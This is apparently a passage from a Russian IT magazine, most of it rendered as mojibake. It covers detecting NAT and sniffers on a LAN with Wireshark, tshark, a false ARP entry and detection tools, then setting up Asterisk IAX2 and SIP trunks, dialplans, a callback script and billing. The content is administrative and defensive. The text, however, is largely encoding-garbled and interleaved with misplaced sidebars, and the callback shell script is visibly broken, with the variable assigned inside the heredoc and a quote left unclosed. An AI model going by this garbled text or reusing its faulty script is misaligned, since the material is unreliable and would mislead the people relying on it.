íà êàæäîì ðîóòåðå îòíèìàåòñÿ åäèíèöà. Òî åñòü, åñëè 
ïîëó÷àåì ïàêåò ñ TTL 63 èëè 127 (èëè ìåíüøå), ýòî ìîæåò 
ñâèäåòåëüñòâîâàòü î íàëè÷èè NAT (âèðòóàëüíûå ìàøèíû 
òàêæå ðàáîòàþò èç-çà NAT). Îòêðûâàåì ñïèñîê ôèëüòðîâ 
è â «IP only» óñòàíàâëèâàåì çíà÷åíèå ïîëÿ ip.ttl â îòëîâ 
âñåõ ïàêåòîâ, TTL êîòîðûõ ìåíüøå 64 èëè 128. Ïðîãðàììà 
èìååò äîñòàòî÷íûé íàáîð äëÿ àíàëèçà, ïîýòîìó ìîæíî 
çàõâàòèòü òðàôèê ñ ìèíèìàëüíûìè îãðàíè÷åíèÿìè, à 
çàòåì ïðîñìîòðåòü, ÷òî ïîïàëîñü â ñåòè, è â ïîñëåäóþùåì 
óòî÷íÿòü íàñòðîéêè ôèëüòðîâ.
Êðîìå ãðàôè÷åñêîãî èíòåðôåéñà, âîçìîæåí çàïóñê 
Wireshark â êîìàíäîé ñòðîêå. Ñìîòðèì ñïèñîê ñåòåâûõ 
èíòåðôåéñîâ ïî êîìàíäå «tshark -D», à çàòåì âûëàâëèâàåì 
çíà÷åíèå ïîëÿ TTL â ïðîõîäÿùèõ ïàêåòàõ.

> tshark -i 1 -e ip.ttl -Tfields

Ïîääåðæèâàþòñÿ tcpdump-ïîäîáíûå ïðàâèëà, ïîýòîìó 
ìîæíî ïðîñòî ñ÷èòàòü çíà÷åíèÿ íóæíîãî ïîëÿ IP (ip[8] < 
64, ïîëå TTL íàõîäèòñÿ â 8-ì áàéòå IP-çàãîëîâêà).

Õîðîøåé àëüòåðíàòèâîé Wireshark ÿâëÿåòñÿ BWMeter 
(desksoft.com/BWMeter.htm), ñîâìåùàþùèé â ñåáå 
ôóíêöèè ôàéðâîëà è ìîíèòîðà òðàôèêà, ñ âîçìîæíîñòüþ 
ïîñòðîåíèÿ ðàçëè÷íîãî ðîäà ãðàôèêîâ. Ñèñòåìà ôèëüòðîâ 

ïîçâîëÿåò çàäàòü ëþáîå ïðàâèëî è çàòåì îòñëåæèâàòü âñå 
ïàêåòû, êîòîðûå ïîä íåãî ïîïàäàþò.
Ê ýòîìó ñïèñêó ìîæíî äîáàâèòü ïðàêòè÷åñêè âñå ôàéðâî-

ëû, ÷òî âñòðåòèøü â êîðïîðàòèâíîé ñåòè: Kerio WinRoute 
(ïîäðîáíåå î íåì ÷èòàé â ñòàòüå «Ìàðø-áðîñîê â áîëüøóþ 
ñåòü», îïóáëèêîâàííîé â ñåíòÿáðüñêîì íîìåðå z çà 2007 

ãîä), UserGate Proxy & Firewall («Ïðèâðàòíèê äëÿ ëîêàëü-

РЕДАКТИРОВАНИЕ ТИПОВ ФАЙЛОВ, КОТО-
РЫЕ SRP СЧИТАЕТ ИСПОЛНЯЕМЫМИ НАСТРАИВАЕМ ФИЛЬТР ДЛЯ КОНТРОЛЯ TTL В WIRESHARK

• Страница TechNet, 
посвященная 
групповым поли-
тикам — technet.
microsoft.com/en-
us/windowsserver/
grouppolicy.
• Сайт Wireshark — 
wireshark.org.
• Сайт BWMeter — 
desksoft.com/
BWMeter.htm.
• Утилита proDETECT — 
sf.net/projects/
prodetect.
• Сайт PromiScan — 
securityfriday.com/
products/promiscan.
html.

links

HTTP://WWW
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íîé ñåòè», èþëüñêèé z çà 2009 ãîä), ISA 
Server/Forefront TMG («Ôîðïîñò äëÿ çàùèòû 
ïåðèìåòðà», íîÿáðüñêèé z çà 2009 ãîä) è äðó-
ãèå, êîòîðûå òàêæå èìåþò âñå íåîáõîäèìîå 
äëÿ àíàëèçà è áëîêèðîâêè òðàôèêà.

Êðîìå òîãî, íå çàáûâàåì ïðîèçâîäèòü ïåðè-
îäè÷åñêîå ñêàíèðîâàíèå ñåòè ïðè ïîìîùè 

Nmap (nmap.org) è ñðàâíèâàòü ðåçóëüòàòû 
ñ îò÷åòàìè ðàíåå ïðîèçâåäåííûõ ñêàíîâ. 
Â ñëó÷àå îáíàðóæåíèÿ èçìåíåíèé â ñïèñêå 

îòêðûòûõ ïîðòîâ ïðîèçâîäèì ðàññëåäîâàíèå. 
Ýòî ïîçâîëèò îáíàðóæèòü ëàçåéêè, îñòàâëåí-

íûå òðîÿíöàìè, ïðîêñè-ñåðâåðû, íåêîòîðûå 
çàïóùåííûå èãðû è òàê äàëåå.

ОБНАРУЖИВАЕМ СНИФЕРЫ Â ëþáîé LAN 
íàéäåòñÿ ïàðî÷êà óìíèêîâ, êîòîðûå çàõîòÿò 
çíàòü áîëüøå, ÷åì èì ïîëîæåíî. Ëþáîïûòíûé 

êåêñ çàïóñêàåò ñíèôåð â íàäåæäå ïîéìàòü 
ïàðîëü, åñëè íå àäìèíà, òî ëþáîãî äðóãîãî 
ïîëüçîâàòåëÿ, èëè ïî÷èòàòü èíôó, åìó íå 

ïðåäíàçíà÷åííóþ. Äëÿ ïåðåõâàòà âñåõ ïàêåòîâ 
ñåòåâàÿ êàðòà ïåðåâîäèòñÿ â íåðàçáîð÷èâûé 
ðåæèì (promiscuous mode), îáíàðóæèòü 
êîòîðûé ìîæíî êàê ëîêàëüíî, òàê è óäàëåííî. 
Â ïåðâîì ñëó÷àå ðåãèñòðèðóåìñÿ â ñèñòåìå è 

ïðîñìàòðèâàåì íàñòðîéêè èíòåðôåéñîâ, âî 
âòîðîì — àêòóàëüíû äâà ñïîñîáà:
• ìîíèòîðèíã ðåñóðñîâ íà âñåõ õîñòàõ ñåòè — 

ïðè ïåðåâîäå NIC â promiscuous mode âîçðàñ-
òàåò íàãðóçêà, òàê êàê ÿäðó ïðèõîäèòñÿ îáðà-
áàòûâàòü áîëüøåå êîëè÷åñòâî èíôîðìàöèè, 

áûñòðî çàïîëíÿåòñÿ ìåñòî íà õàðäå;
• îøèáêè â ðåàëèçàöèè — ñåòåâîé èíòåðôåéñ 
äîëæåí «çàáèðàòü» òîëüêî ñâîè ïàêåòû; òàê 
è íàñòðîåíû ÎÑ, íî ïîñêîëüêó òåïåðü ÿäðî 
ïîëó÷àåò èíôó îáî âñåõ ïàêåòàõ, ìîæíî ïîï-

ðîáîâàòü ïîñëàòü ARP-ïàêåò ñ ïðàâèëüíûì IP 
èëè èìåíåì, íî íåïðàâèëüíûì ÌÀÑ-àäðåñîì.

Â ïîñëåäíåì ñëó÷àå ñèñòåìà ìîæåò îòâåòèòü 
íà íåïðàâèëüíûé ïàêåò. Äîáàâëÿåì çàâåäîìî 

íåâåðíûå äàííûå â ARP-òàáëèöó è ïèíãóåì 
«ïîäîçðèòåëüíûé» õîñò:

> arp -s hackerhost 

00:11:22:33:44:55

> ping hackerhost

Åñëè îòâåò ïîëó÷åí, çíà÷èò, ñ áîëüøîé 
äîëåé âåðîÿòíîñòè ìîæíî ñêàçàòü, ÷òî óçåë 
íàõîäèòñÿ â ðåæèìå ïðîñëóøèâàíèÿ. Íå çà-

áûâàåì óäàëèòü íåïðàâèëüíóþ çàïèñü ïîñëå 
ïðîâåðêè:

> arp -d hackerhost

Óäîáíåå äëÿ âûÿâëåíèÿ íàðóøèòåëåé èñïîëü-
çîâàòü ñïåöèàëüíûå óòèëèòû. Íàïðèìåð, 
proDETECT (sf.net/projects/prodetect), êî-

òîðàÿ, ïðàâäà, óæå íåñêîëüêî ëåò íå îáíîâ-
ëÿëàñü, ïîýòîìó ãðåøèò áàãàìè. Íàñòðîéêè 
ïîçâîëÿþò çàäàòü ñïèñîê óçëîâ è óêàçàòü 
ïåðèîäè÷íîñòü èõ ïðîâåðêè. Îò÷åò îòïðàâëÿ-

åòñÿ íà e-mail.

Åùå îäíà ïðîãà — PromiScan (securityfriday.
com/products/promiscan.html) — òàêæå 
ïîçâîëÿåò çàäàòü äèàïàçîí IP è ïðîâåñòè ðÿä 
òåñòîâ. Åñëè áóäåò îáíàðóæåí õîñò, ïðîñëó-
øèâàþùèé ñåòü, àäìèí ïîëó÷èò âèçóàëüíîå 
ïðåäóïðåæäåíèå. Ïðåäóñìîòðåíà âîçìîæ-

íîñòü âûïîëíåíèÿ âíåøíåé êîìàíäû.
Êñòàòè, Microsoft òàêæå ïðåäëàãàåò ñâîé 

âàðèàíò ðåøåíèÿ ïðîáëåìû — óòèëèòû 
Promqry è PromqryUI, ñêà÷àòü êîòîðûå 

ìîæíî ñ îôñàéòà (support.microsoft.com/
kb/892853). Ïåðâàÿ êîìàíäíàÿ, âòîðàÿ — ñ 

GUI. Ïðèíöèï ïðîñò: óêàçûâàåì IP-àäðåñ 
îòäåëüíîé ìàøèíû èëè äèàïàçîí è æìåì 
«Start Query».

ДИКТАТУРА АДМИНА Ïîñëå ïðîèçâåäåííûõ 
íàñòðîåê ìû ïîëó÷èì ïîëíîñòüþ êîíòðî-
ëèðóåìóþ ñåòü, â êîòîðîé áóäóò èñïîëüçî-

âàòüñÿ òîëüêî ðàçðåøåííûå ïðîãðàììû, 
à ïîëüçîâàòåëè íå áóäóò îòâëåêàòüñÿ îò ðàáî-
òû. Òàêæå íå çàáûâàåì î çàïèñÿõ ñèñòåìû 

àóäèòà, â êîòîðûõ áóäåò ïðèñóòñòâîâàòü èí-
ôîðìàöèÿ î ïåðåâîäå ñåòåâîãî èíòåðôåéñà â 
ïàññèâíûé ðåæèì èëè óñòàíîâêå ïðîãðàìì. 
Êîíå÷íî, ýòî íå âñå âàðèàíòû óñòàíîâëåíèÿ 
«äèêòàòóðû» àäìèíà â LAN; äîáàâèì ñþäà 

îòêëþ÷åíèå ïîëüçîâàòåëÿ îò èíòåðíåòà ïðè 
ïðåâûøåíèè ëèìèòà, øåéïèíã òðàôèêà, 
êîíòðîëü ÌÀÑ- è IP-àäðåñîâ, áëîêèðîâêó 

ìåññåíäæåðîâ, ôèëüòðàöèþ URL è êîíòåíòà 
è ìíîãîå äðóãîå.  z

PROMQRY — «АНТИСНИФЕР» ОТ MICROSOFT



Кризис заставляет нас потуже затянуть пояса и по-новому взглянуть на 
многие вещи. Ситуация в IT-сфере сходная: чтобы сэкономить, органи-
зации перепланируют использование имеющихся ресурсов, делая став-
ку на объединение функциональных возможностей, серверов и сетей. 
Рассмотрим, как с помощью IP-PBX Asterisk можно сократить расходы 
компании на телефонную связь и даже немного заработать самому.

Делаем деньги 
на звездах

ТОНКОЕ СОПРЯЖЕНИЕ Ó ñðåäíåé è, òåì 
áîëåå, êðóïíîé îðãàíèçàöèè ÷àñòî åñòü ôèëè-
àëû â ðàçíûõ ãîðîäàõ èëè ñòðàíàõ. Åñëè â óäà-
ëåííûõ îôèñàõ ñóùåñòâóåò âîçìîæíîñòü âîç-
äâèãíóòü IP-PBX ñåðâåðà íà áàçå Asterisk, òî 
ïî÷åìó íå îáúåäèíèòü èõ â åäèíóþ ñåòü? Ýòèì 
ìû óáüåì ñðàçó íåñêîëüêèõ çàéöåâ: ñâåäåì 
íà íåò ñòîèìîñòü çâîíêîâ ìåæäó «òî÷êàìè», 
îáåñïå÷èì áåçîïàñíîå ãîëîñîâîå ñîåäèíå-

íèå (ïóòåì ïðèìåíåíèÿ IPsec-øèôðîâàíèÿ 
ê ïîòîêó ãîëîñîâûõ äàííûõ), ñîçäàäèì âñå 

óñëîâèÿ äëÿ ïðîâåäåíèÿ àóäèî- è âèäåîêîíôå-
ðåíöèé. À òàêæå ïîëó÷èì âñå äîïîëíèòåëüíûå 

òåëåôîííûå ñâîéñòâà, ïðèñóùèå VoIP: çàïèñü 
òåëåôîííûõ ðàçãîâîðîâ, IVR (ñèñòåìà ïðåäâà-

ðèòåëüíî çàïèñàííûõ ãîëîñîâûõ ñîîáùåíèé, 
âûïîëíÿþùàÿ ôóíêöèþ ìàðøðóòèçàöèè 

çâîíêîâ âíóòðè call-öåíòðà), àëüòåðíàòèâ-
íûé GSM-ðîóìèíã è ò.ä. Ïðîäåìîíñòðèðîâàâ 
íà÷àëüñòâó âûãîäó îò âíåäðåíèÿ ïîäîáíîãî 

ðåøåíèÿ, ìîæíî â êîðíå èçìåíèòü îòíîøåíèå 
ê IT-ïîäðàçäåëåíèþ (ñîòðóäíèêîâ êîòîðîãî 
çà÷àñòóþ ñ÷èòàþò âå÷íûìè íàõëåáíèêàìè) è 
ïîëó÷èòü ùåäðûå ïðåìèàëüíûå.
Èòàê, ó íàñ åñòü äâà ñåðâåðà Asterisk. Äàâàé 

îðãàíèçóåì ñîâìåñòíóþ ðàáîòó, îáúåäèíèâ 
èõ äèàëïëàíû è óâåëè÷èâ âîçìîæíîñòè. 
Ïîäðóæèòü äâà Asterisk'a ìîæíî ïî ïðî-

òîêîëó óñòàíîâëåíèÿ ñåññèè SIP (Session 
Initiation Protocol, RFC 3263), ëèáî ïî IAX2 
(Inter-Asterisk eXchange protocol, ïðîòîêîë 
îáìåíà VoIP-äàííûìè ìåæäó IP-PBX Asterisk, 
RFC 5456). Ìû âûáåðåì âòîðîé âàðèàíò, 

òàê êàê IAX2 ëó÷øå àäàïòèðîâàí äëÿ ðàáîòû 
èç-çà NAT. Îí èñïîëüçóåò åäèíñòâåííûé 
ïîðò (4569/UDP) äëÿ ïåðåäà÷è ñèãíàëüíûõ 

äàííûõ è ìåäèàïîòîêà (ò.å. ìåíüøå ïðîáëåì 
ñ íàñòðîéêîé ôàéåðîâ íà øëþçàõ è ïðîáëåì 
ñ ïðîâàìè, êîòîðûå ëþáÿò ðåçàòü ïîäêëþ÷å-
íèÿ ïî íåñòàíäàðòíûì ïîðòàì) è ïîääåðæè-
âàåò ôóíêöèþ îáúåäèíåíèÿ êàíàëîâ. Ýòà 
ñïîñîáíîñòü ïîçâîëÿåò îòïðàâëÿòü ãîëîñî-
âûå äàííûå ìíîæåñòâà âûçîâîâ ïîä îäíèì 
çàãîëîâêîì. Åñëè ìåæäó äâóìÿ îôèñàìè 
îäíîâðåìåííî âûïîëíÿþòñÿ äåñÿòêè çâîíêîâ, 
âûèãðûø â ïðîïóñêíîé ñïîñîáíîñòè çà ñ÷åò 
èñïîëüçîâàíèÿ òðàíêà ìîæåò áûòü çíà÷èòåëü-
íûì. Ïîìèìî ïåðå÷èñëåííîãî, ïî ñðàâíåíèþ 
ñ ïðîòîêîëîì SIP, IAX2 ïîçâîëÿåò ïðèëè÷íî 
ýêîíîìèòü ñåòåâîé òðàôèê, òàê êàê ñèãíàëü-
íàÿ èíôîðìàöèÿ ïåðåäàåòñÿ â áèòîâûõ ïîëÿõ, 
à íå òåêñòîì.
Âñå íåîáõîäèìûå íàñòðîéêè ïðîèçâîäÿòñÿ 
â ôàéëå iax.conf. Îäèí èç ñåðâåðîâ áóäåò 

ïîäêëþ÷àòüñÿ ê äðóãîìó äëÿ îïåðàòèâíîãî 
îáìåíà äàííûìè.

$ sudo nano /etc/asterisk/iax.conf

; Ïîäêëþ÷àåìñÿ êî âòîðîìó Asterisk

[general]

;register => 

<username>:<password>@<èìÿ èëè IP 

àäðåñ>

register => userB:password@synack.

ru

; Äàííûå äëÿ ïîäêëþ÷åíèÿ

[synack]

type=friend

user=username

secret=password

host=synack.ru

context=synack

Òåïåðü íåîáõîäèìî äîáàâèòü â äèàëïëàí 
îïèñàíèå íîâîãî ìàðøðóòà:

$ sudo nano /etc/asterisk/extensions.conf

[synack]

exten => _5XXX,1,NoOp()

exten => _5XXX,n,Dial(IAX2/

synack/${EXTEN})

exten => _5XXX,n,Hangup()

Âîò, ñîáñòâåííî, è âñå íàñòðîéêè íà ïåðâîì 

ñåðâåðå.
Íà äðóãîé ñòîðîíå îïèñàíèå â iax.conf è íà-

ñòðîéêè ïðàêòè÷åñêè àíàëîãè÷íû. Ó÷èòûâàÿ, 
÷òî ýòîò ñåðâåð ïðèíèìàåò ïîäêëþ÷åíèå, 

óáèðàåì ïàðàìåòð register.

$ sudo nano /etc/asterisk/iax.conf

[office]

type=friend

user=user

secret=password

host=dynamic

; Â öåëÿõ áåçîïàñíîñòè ðàçðåøèì ïîä-

êëþ÷åíèÿ òîëüêî ñ íóæíîãî IP-àäðåñà

deny=0.0.0.0/0

permit=11.22.33.44

context=office

À â êîíôèãå extensions.conf çàäàåì âòîðîé ïóë 

íîìåðîâ:

exten => _8XXX,1,

Dial(IAX2/office/

${EXTEN})
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Åñëè â ïîä÷èíåíèè íåñêîëüêî IP-PBX Asterisk, òî äîáàâëÿåì èõ òàê æå, 
êàê è ïåðâûé ñåðâåð.
Íåîáõîäèìûé ìèíèìóì äëÿ ïîäêëþ÷åíèÿ âûïîëíåí. Äàëåå íàðà-
ùèâàåì ýòó ñõåìó, èçìåíÿÿ äèàëïëàí â çàâèñèìîñòè îò ñèòóàöèè è 
ïîòðåáíîñòåé. Íàïðèìåð, â ýêñòåíøåíàõ Asterisk ìîæíî óêàçûâàòü 
âðåìÿ äåéñòâèÿ ïðàâèëà. ×òîáû çâîíèòü â óäàëåííûé îôèñ ìîæíî 
áûëî òîëüêî â ðàáî÷åå âðåìÿ, èñïîëüçóåì òàêóþ êîíñòðóêöèþ:

exten => 3000,1,GotoIfTime(9:00-18:00|mon-

fri|*|*?OUT,s,1)

Âàðèàíòîâ äåéñòâèòåëüíî ìíîãî, ýêñïåðèìåíòèðóé!

ПОДКЛЮЧАЕМСЯ К SIP-ПРОВАЙДЕРУ Çà ïîñëåäíèå íåñêîëüêî 
ëåò SIP-ïðîâàéäåðîâ, ïðåäëàãàþùèõ ñâîè óñëóãè ïî âåñüìà äå-
ìîêðàòè÷íûì öåíàì, íàïëîäèëîñü ïðåäîñòàòî÷íî. Èñïîëüçóÿ èõ 
âîçìîæíîñòè, ìîæíî ñóùåñòâåííî ñýêîíîìèòü íà ìåæäóãîðîäíûõ è 
ìåæäóíàðîäíûõ çâîíêàõ. Äëÿ Asterisk íåò ïðèíöèïèàëüíîé ðàçíèöû, 
ïîäêëþ÷àòüñÿ ê îäíîìó èëè íåñêîëüêèì SIP-ïðîâàéäåðàì ñðàçó, íî 
äëÿ íàñ âòîðîé âàðèàíò ïîäêëþ÷åíèÿ ïðåäïî÷òèòåëüíåå, ïîñêîëüêó 
â äèàëïëàíå ìîæíî ïðåäïèñàòü ðàíæèðîâàíèå îïåðàòîðîâ ñâÿçè ïî 
êàæäîìó íàïðàâëåíèþ íà îñíîâå êðèòåðèÿ «öåíà-êà÷åñòâî». Ìîæíî 

çâîíèòü ïî ðàçíûì íàïðàâëåíèÿì, èñõîäÿ èç òðåáóåìîãî êà÷åñòâà 
è óñòàíîâëåííûõ ïðîâàéäåðàìè ðàñöåíîê. Êñòàòè, èìåííî íà ýòîì 
ïîäõîäå îñíîâàíà ðàáîòà êèòîâ ñîâðåìåííîãî SIP'îñòðîåíèÿ âðîäå 

sipnet.ru.
Ïðèíöèï íàñòðîéêè ïîäêëþ÷åíèÿ è ñîçäàíèÿ äèàëïëàíà ïðàêòè÷åñêè 
ïîëíîñòüþ ñîâïàäàåò ñ IAX2. Âñå óñòàíîâêè äëÿ SIP ïðîèçâîäÿòñÿ â 

ôàéëå sip.conf.

$ sudo nano /etc/asterisk/sip.conf

[general]

...

useragent=SipPhone

register=myusername:mypassword@sipnet.ru/2223322

; Èñïîëüçóåìûå êîäåêè

disallow=all

allow=ulaw

allow=alaw

allow=gsm

[sipnet]

type=friend

username=myusername

secret=mypassword

callerid=sipnet

host=sipnet.ru

nat=yes

fromuser=sipnet

fromdomain=sipnet.ru

dtmfmode=rfc2833

insecure=invite

context=sipnet

Ýòîò êîíôèã ìîæíî âçÿòü çà îñíîâó äëÿ ïîäêëþ÷åíèÿ ê ëþáîìó SIP-

ñåðâåðó. Êîíå÷íî, ðàçíûå ïðîâàéäåðû ìîãóò èñïîëüçîâàòü ñïåöè-
ôè÷åñêèå óñòàíîâêè, ïîýòîìó ïðèäåòñÿ ïðîøåðñòèòü ðàçäåë FAQ íà 

îôñàéòå ïîñòàâùèêà ñåðâèñà â ïîèñêàõ ïðèìåðîâ, íþàíñîâ è ñîâåòîâ 
ïî îáõîäó ïîäâîäíûõ êàìíåé.

Äàëåå ðàçáèðàåìñÿ ñ âõîäÿùèìè è èñõîäÿùèìè çâîíêàìè:

$ sudo nano /etc/asterisk/extensions.conf

[sipnet-in]

exten => 101,1,Set(CALLERID(name)="Sipnet call")

exten => 101,n,Dial(SIP/101,20)

exten => 101,n,Playback(vm-nobodyavail)

exten => 101,n,Voicemail(101)

exten => 101,n,Hangup()

[sipnet-out-moscow]

exten => _749[59]ZXXXXXX,1,Set(CALLERID(all)="SipPhon

e" <2223322>)

exten => _749[59]ZXXXXXX,n,Dial(SIP/sipnet/${EXTEN},20)

exten => _749[59]ZXXXXXX,n,Hangup()

НАСТРАИВАЕМ CALLBACK Ñåãîäíÿ íå ðåäêîñòü, ÷òî ìåíåäæåðû 

ðàáîòàþò äàëåêî çà ïðåäåëàìè îôèñà, ñâÿçûâàÿñü ïðè íåîáõîäè-
ìîñòè ñ ðóêîâîäñòâîì èëè ðàáîòíèêàìè ïî ìîáèëüíîìó. Â èòîãå, 
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â ìåñÿö çà ïåðåãîâîðû ïðèõîäèòñÿ ïëàòèòü äîñòà-
òî÷íî ïðèëè÷íóþ ñóììó. À åñëè òàêèõ ñîòðóäíèêîâ â 
îôèñå íå îäèí äåñÿòîê? Çàòðàòû íà ïåðåãîâîðû áóäóò 
çíà÷èòåëüíû. Íî âûõîä åñòü: ïðèîáðåñòè áåçëèìèò-
íûé ïàêåò è ïðè ïîñòóïëåíèè çâîíêà ïåðåçâàíèâàòü 
âûçûâàþùåìó, êîòîðûé äàëåå óæå ñàì âûáèðàåò, ÷òî 
åìó íóæíî — çâîíèòü êîìó-íèáóäü â îôèñå, äåëàòü åùå 
îäèí èñõîäÿùèé çâîíîê, íàïðèìåð, ìåæäóãîðîäíèé, 
îñòàâèòü èëè ïðîñëóøàòü ãîëîñîâîå ñîîáùåíèå è ò.ä. 
Ïðè ïîìîùè Asterisk îðãàíèçîâàòü ýòî äîñòàòî÷íî 
ïðîñòî, ïðè÷åì ñóùåñòâóåò ñðàçó íåñêîëüêî âàðèàí-
òîâ. Ñàìûé ïðîñòîé ñïîñîá — ñîçäàíèå â êàòàëîãå /
var/lib/asterisk/outgoing ñïåöèàëüíîãî .call-ôàéëà, 
êîòîðûé ïîäõâàòûâàåòñÿ è îáðàáàòûâàåòñÿ Asterisk 
íà ëåòó. Ñîçäàåì â extensions.conf îïèñàíèå íîâîãî 
äèàëïëàíà:

$ sudo nano /etc/asterisk/extensions.conf

[IncomingCall]

; Ïðîâåðÿåì íîìåð çâîíÿùåãî, åñëè ñîâïàäàåò, 

çàïóñêàåì ñêðèïò

exten => s,1,GotoIf($["${CALLERID(num)}" = 

"9151234567"]?callback)

; Àíàëîãè÷íî îïèñûâàþòñÿ è îñòàëüíûå íîìåðà, íà 

êîòîðûå äîëæåí îñóùåñòâëÿòüñÿ ïåðåçâîí

exten => s,n,Goto(normal) ; Åñëè íîìåð â ñïèñêå 

îòñóòñòâóåò, îáðàáàòûâàåì âûçîâ îáû÷íûì îáðà-

çîì

exten => s,n(callback),System(/etc/asterisk/

scripts/callback 8${CALLERID(num)} &)

exten => s,n,Hangup()

exten => s,n(normal)

; Ýêñòåíøåí, ñ êîòîðîãî áóäåò ïðîèçâîäèòüñÿ 

çâîíîê

[InternalCall]

exten => 123,1,Dial(SIP/123)

exten => 123,n,Hangup()

exten => _89X.,1,Dial(SIP/${EXTEN}@GW_IP)

exten => _89X.,n,Hangup()

Òåïåðü ñîáñòâåííî ñêðèïò, êîòîðûé ñîçäàñò íóæíûé call-
ôàéë. Íàïîìíèì, ÷òî, èñïîëüçóÿ äèðåêòèâó System, ìîæíî 
ñîçäàòü ôàéë íà ëåòó:

exten => h,6,System(echo Channel: 

SIP/${CALLERID(num)} > /tmp/${CALLERID(num)}.

call)

Íî îòäåëüíûé ñêðèïò íàãëÿäíåå è ïðîùå ðåäàêòèðóåòñÿ:

$ sudo nano /etc/asterisk/scripts/callback

#!/bin/sh

sleep 5

cat << EOF > /tmp/$NUMBER.call

# Ïîëó÷àåì íîìåð, ïåðåäàííûé â êà÷åñòâå ïàðà-

ìåòðà

NUMBER=$1

# Êàíàë, èñïîëüçóåìûé äëÿ èñõîäÿùåãî çâîíêà

echo "Channel: SIP/$NUMBER@InternalCall

# Êîëè÷åñòâî ïîâòîðíûõ ïîïûòîê (ò.å. ïðè çíà÷å-

íèè 1 çâîíèòü áóäåò 2 ðàçà)

MaxRetries: 1

# Âðåìÿ â ñåêóíäàõ, ÷åðåç êîòîðîå áóäåò ïðîèç-

âåäåíà âòîðàÿ ïîïûòêà

RetryTime: 30

# Îæèäàíèå îòâåòà íà âûçîâ

WaitTime: 30

Context: InternalCall # Êîíòåêñò

Extension: 777 # Ýêñòåíøåí

Priority: 1

AlwaysDelete: Yes" >/var/spool/asterisk/

tmp/$NUMBER

EOF # Çàêîí÷èëè ôîðìèðîâàòü ôàéë

# Òåïåðü êîïèðóåì ôàéë

chown asterisk:asterisk /tmp/$NUMBER.call

mv /tmp/$NUMBER.call /var/spool/asterisk/

outgoing/

Ïðèíöèï ðàáîòû äîâîëüíî ïðîñò: àáîíåíò çâîíèò, Asterisk 
îïðåäåëÿåò ïðèíàäëåæíîñòü ê ñïèñêó è â ñëó÷àå ñîâïàäå-
íèÿ ñîçäàåò call-ñêðèïò, êîòîðûé çàòåì èñïîëüçóåòñÿ äëÿ 
îñóùåñòâëåíèÿ èñõîäÿùåãî çâîíêà.
Ñîçäàâàòü ôàéë ñðàçó â êàòàëîãå outgoing íåëüçÿ; åñëè 

Asterisk åãî óñïååò ïðî÷èòàòü äî òîãî, êàê îí áóäåò ïîëíî-
ñòüþ çàïèñàí, ïðîèçîéäåò ñáîé â ðàáîòå ñêðèïòà. Ïîýòîìó 
ðåêîìåíäóåòñÿ â outgoing ïåðåìåùàòü óæå ãîòîâûé ôàéë. 
Äàëåå ðàçâèâàåì èäåþ, ïîäêëþ÷àÿ íóæíûå ôóíêöèè.
Íàïîìíèì, ÷òî Callback ìîæíî îðãàíèçîâàòü è ñðåäñò-

âàìè web, êîãäà ïîëüçîâàòåëü íàáèðàåò ñâîé íîìåð 
òåëåôîíà â ñïåöèàëüíîì ïîëå áðàóçåðà, à call-ôàéë ñîçäàåò 
CGI-ñêðèïò. Ñõåìà áóäåò ïîëåçíîé è â ñëóæáå ïîääåðæêè. 

Ïîëüçîâàòåëè íå î÷åíü ëþáÿò òðàòèòü ñâîè êðîâíûå íà 
ïåðåãîâîðû ñ ïîäîáíûìè ñåðâèñàìè, è çäåñü Callback 
áóäåò âåñüìà êñòàòè. Â òàêîì âàðèàíòå â ýêñòåíøåí ëó÷øå 
æåñòêî çàáèòü íîìåð (íàïðèìåð, ñëóæáû ïîääåðæêè èëè 
ìåíåäæåðà), ñ êîòîðûì Asterisk áóäåò ñîåäèíÿòü óäàëåííî-

ãî àáîíåíòà. Äëÿ ýòîãî äîñòàòî÷íî äîáàâèòü â InternalCall 
âûçîâ íóæíîãî íîìåðà.
Íåìíîãî óñëîæíèâ îïèñàííûå ñêðèïòû, ìîæíî ðàçðåøèòü 

ïîäêëþ÷àòüñÿ ëþáîìó ïîëüçîâàòåëþ ïî êàðòî÷êå ñ PIN-
êîäîì äëÿ îñóùåñòâëåíèÿ ïëàòíîãî çâîíêà â âûáðàííîì 

НАСТРОЙКА CALLBACK В ДИСТРИБУТИВЕ ELASTIX

A2BILLING ПРЕДОСТАВЛЯЕТ ШИРОКИЕ 
ВОЗМОЖНОСТИ ПО УЧЕТУ ЗВОНКОВ

info
Еще одним вариантом 
создания call-файла 
является использо-
вание AMI (Asterisk 
Manager Interface) — 
интерфейса управ-
ления Asterisk. До-
статочно послать все 
необходимые команды 
в 5038 порт.

О настройке бил-
линговой системы 
AstBill читай в статье 
«Звездные счета», 
опубликованной в 
февральском номере 
z за 2008 год. 

INFO
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SYN/ACK

íàïðàâëåíèè. Â ýòîì ñëó÷àå ïîñëå ïåðåçâîíà àáîíåíòó 
Asterisk çàïðàøèâàåò PIN-êîä, èçâëåêàåò èç ÁÄ òåêóùèé 
áàëàíñ è âûâîäèò åãî çâîíèâøåìó (î áèëëèíãîâîé ñèñòå-
ìå ìû ïîãîâîðèì ÷óòü íèæå). Äàëåå àáîíåíò óêàçûâàåò 
íîìåð, íà êîòîðûé îí õîòåë áû ïîçâîíèòü.
À âîîáùå, ñîáûòèå (òðèããåð) äëÿ Ñallback ìîæåò ãåíå-
ðèðîâàòü SMS-ñîîáùåíèå, e-mail, ñèãíàë îò ñèñòåìû 
âèäåîíàáëþäåíèÿ (çà ïîäðîáíîñòÿìè îáðàùàéñÿ ê ñòà-
òüå «Çâåçäíîå ïîïóððè», îïóáëèêîâàííîé â àïðåëüñêîì 
íîìåðå z çà 2009 ãîä), ñîáûòèå íà ñåðâåðå (äîïóñòèì, 
ïðîïàäàíèå ïèòàíèÿ â ýëåêòðîñåòè) è òàê äàëåå. Íàïðè-
ìåð, ïðè íåäîñòàòêå ñðåäñòâ íà ñ÷åòó àâòîìàòè÷åñêè 
ãåíåðèðóåòñÿ .call-ôàéë, îáåñïå÷èâàþùèé äîçâîí äî 
êëèåíòà ñ íàïîìèíàíèåì î íåîáõîäèìîñòè ïîïîëíåíèÿ 
ñ÷åòà.

ПРОСТЕНЬКИЙ БИЛЛИНГ Åñëè òû ðåøèë íåìíîãî 
ïîäçàðàáîòàòü ñ Asterisk, òî áåç ñèñòåìû ó÷åòà çâîí-
êîâ íå îáîéòèñü. Â èíòåðíåòå ìîæíî íàéòè íå îäíî 

ãîòîâîå ðåøåíèå âðîäå A2billing (www.asterisk2billing.
org), Asterisell (asterisell.profitoss.com), astCDRview 

(astcdrview.berlios.de), AstBill (astbill.com), íî â 9 ñëó÷àÿõ 
